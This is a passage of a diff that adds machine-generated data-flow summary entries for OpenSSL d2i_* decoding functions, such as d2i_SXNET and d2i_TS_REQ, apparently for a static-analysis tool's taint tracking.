**,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_ACCURACY", "(TS_ACCURACY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT", "(TS_MSG_IMPRINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_bio", "(BIO *,TS_MSG_IMPRINT **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_MSG_IMPRINT_fp", "(FILE *,TS_MSG_IMPRINT **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ", "(TS_REQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, 